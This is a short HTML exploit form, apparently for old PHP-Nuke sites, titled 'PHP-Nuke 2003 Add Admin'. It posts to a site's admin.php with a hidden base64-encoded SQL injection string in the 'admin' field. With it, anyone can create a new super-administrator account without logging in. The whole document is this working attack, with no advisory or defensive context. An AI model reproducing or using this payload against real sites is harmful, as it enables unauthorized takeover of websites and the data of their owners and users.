PHP-Nuke 2003 Add Admin

<form name="mantra" method="POST" action="http://www.yoursite.com/admin.php">
<p>USERNAME:
<input type="text" name="add_aid">
<br>
NOME:
<input type="text" name="add_name">
<br>
PASSWORD:
<input type="text" name="add_pwd">
<br>
E-MAIL:
<input type="text" name="add_email">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
</p>
<p>
<input type="submit" name="Submit" value="Create Admin">
<br>
</p>
</form>